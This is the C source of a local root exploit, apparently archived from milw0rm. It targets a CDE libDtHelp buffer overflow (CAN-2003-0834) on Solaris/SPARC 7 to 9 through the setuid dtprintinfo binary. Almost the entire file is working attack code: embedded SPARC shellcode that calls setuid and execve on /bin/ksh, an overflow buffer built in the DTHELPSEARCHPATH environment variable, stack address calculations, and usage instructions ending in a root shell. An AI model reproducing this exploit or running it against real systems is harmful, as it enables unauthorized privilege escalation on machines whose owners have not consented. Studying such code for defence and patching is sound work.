191 lines
No EOL
5 KiB
C
191 lines
No EOL
5 KiB
C
/*
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* $Id: raptor_libdthelp.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
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*
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* raptor_libdthelp.c - libDtHelp.so local, Solaris/SPARC 7/8/9
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* Copyright (c) 2003-2004 Marco Ivaldi <raptor@0xdeadbeef.info>
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*
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* Buffer overflow in CDE libDtHelp library allows local users to execute
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* arbitrary code via a modified DTHELPUSERSEARCHPATH environment variable
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* and the Help feature (CAN-2003-0834).
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*
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* Possible attack vectors are: DTHELPSEARCHPATH (as used in this exploit),
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* DTHELPUSERSEARCHPATH, LOGNAME (those two require a slightly different
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* exploitation technique, due to different code paths).
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*
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* Usage:
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* $ gcc raptor_libdthelp.c -o raptor_libdthelp -Wall
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* [on your xserver: disable the access control]
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* $ ./raptor_libdthelp 192.168.1.1:0
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* [on your xserver: enter the dtprintinfo help]
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* # id
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* uid=0(root) gid=1(other)
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* #
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*
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* Vulnerable platforms:
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* Solaris 7 without patch 107178-03 [tested]
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* Solaris 8 without patch 108949-08 [tested]
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* Solaris 9 without patch 116308-01 [tested]
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <strings.h>
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#include <unistd.h>
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#include <sys/systeminfo.h>
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#define INFO1 "raptor_libdthelp.c - libDtHelp.so local, Solaris/SPARC 7/8/9"
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#define INFO2 "Copyright (c) 2003-2004 Marco Ivaldi <raptor@0xdeadbeef.info>"
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#define VULN "/usr/dt/bin/dtprintinfo" // default setuid target
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#define BUFSIZE 1200 // size of the evil buffer
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#define VARSIZE 1024 // size of the evil env vars
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/* voodoo macros */
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#define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
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#define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;}
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char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */
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/* double setuid() */
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"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
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"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
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/* execve() */
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"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
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"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
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"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";
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/* globals */
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char *env[256];
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int env_pos = 0, env_len = 0;
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/* prototypes */
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int add_env(char *string);
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void set_val(char *buf, int pos, int val);
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/*
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* main()
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*/
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int main(int argc, char **argv)
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{
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char buf[BUFSIZE], var1[VARSIZE], var2[VARSIZE];
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char platform[256], release[256], display[256];
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int i, offset, ret, var1_addr, var2_addr;
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int plat_len, prog_len, rel;
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char *arg[2] = {"foo", NULL};
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int arg_len = 4, arg_pos = 1;
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int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
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/* print exploit information */
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fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
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/* read command line */
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if (argc != 2) {
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fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
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exit(1);
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}
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sprintf(display, "DISPLAY=%s", argv[1]);
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/* get some system information */
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sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
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sysinfo(SI_RELEASE, release, sizeof(release) - 1);
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rel = atoi(release + 2);
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/* prepare the evil buffer */
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memset(buf, 'A', sizeof(buf));
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buf[sizeof(buf) - 1] = 0x0;
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memcpy(buf, "DTHELPSEARCHPATH=", 17);
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/* prepare the evil env vars */
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memset(var1, 'B', sizeof(var1));
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var1[sizeof(var1) - 1] = 0x0;
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memset(var2, 'C', sizeof(var2));
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var2[sizeof(var2) - 1] = 0x0;
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/* fill the envp, keeping padding */
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var1_addr = add_env(sc);
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var2_addr = add_env(var1);
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add_env(var2);
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add_env(display);
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add_env("PATH=/usr/bin:/bin:/usr/sbin:/sbin");
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add_env("HOME=/tmp");
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add_env(buf);
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add_env(NULL);
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/* calculate the offset to argv[0] (voodoo magic) */
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plat_len = strlen(platform) + 1;
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prog_len = strlen(VULN) + 1;
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offset = arg_len + env_len + plat_len + prog_len;
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if (rel > 7)
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VOODOO64(offset, arg_pos, env_pos)
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else
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VOODOO32(offset, plat_len, prog_len)
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/* calculate the needed addresses */
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ret = sb - offset + arg_len;
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var1_addr += ret;
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var2_addr += ret;
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/* fill the evil buffer */
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for (i = 17; i < BUFSIZE - 8; i += 4)
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set_val(buf, i, var1_addr - 5000);
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/* fill the evil env vars */
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for (i = 0; i < VARSIZE - 8; i += 4)
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set_val(var1, i, var2_addr - 500);
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for (i = 0; i < VARSIZE - 8; i += 4)
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set_val(var2, i, ret);
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/* print some output */
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fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
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fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
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fprintf(stderr, "Using var1 address\t: 0x%p\n", (void *)var1_addr);
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fprintf(stderr, "Using var2 address\t: 0x%p\n", (void *)var2_addr);
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fprintf(stderr, "Using ret address\t: 0x%p\n\n", (void *)ret);
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/* run the vulnerable program */
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execve(VULN, arg, env);
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perror("execve");
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exit(0);
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}
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/*
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* add_env(): add a variable to envp and pad if needed
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*/
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int add_env(char *string)
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{
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int i;
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/* null termination */
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if (!string) {
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env[env_pos] = NULL;
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return(env_len);
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}
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/* add the variable to envp */
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env[env_pos] = string;
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env_len += strlen(string) + 1;
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env_pos++;
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/* pad the envp using zeroes */
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if ((strlen(string) + 1) % 4)
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for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
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env[env_pos] = string + strlen(string);
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env_len++;
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}
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return(env_len);
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}
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/*
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* set_val(): copy a dword inside a buffer
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*/
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void set_val(char *buf, int pos, int val)
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{
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buf[pos] = (val & 0xff000000) >> 24;
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buf[pos + 1] = (val & 0x00ff0000) >> 16;
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buf[pos + 2] = (val & 0x0000ff00) >> 8;
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buf[pos + 3] = (val & 0x000000ff);
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}
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// milw0rm.com [2004-12-24]
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